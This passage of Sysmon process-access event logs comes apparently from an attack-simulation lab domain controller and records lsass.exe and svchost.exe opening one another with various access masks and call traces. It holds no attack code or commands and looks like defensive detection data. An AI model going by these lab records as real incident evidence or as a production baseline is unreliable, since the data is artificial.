C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":884,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":885,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":886,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":887,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":888,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":889,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":890,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":891,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 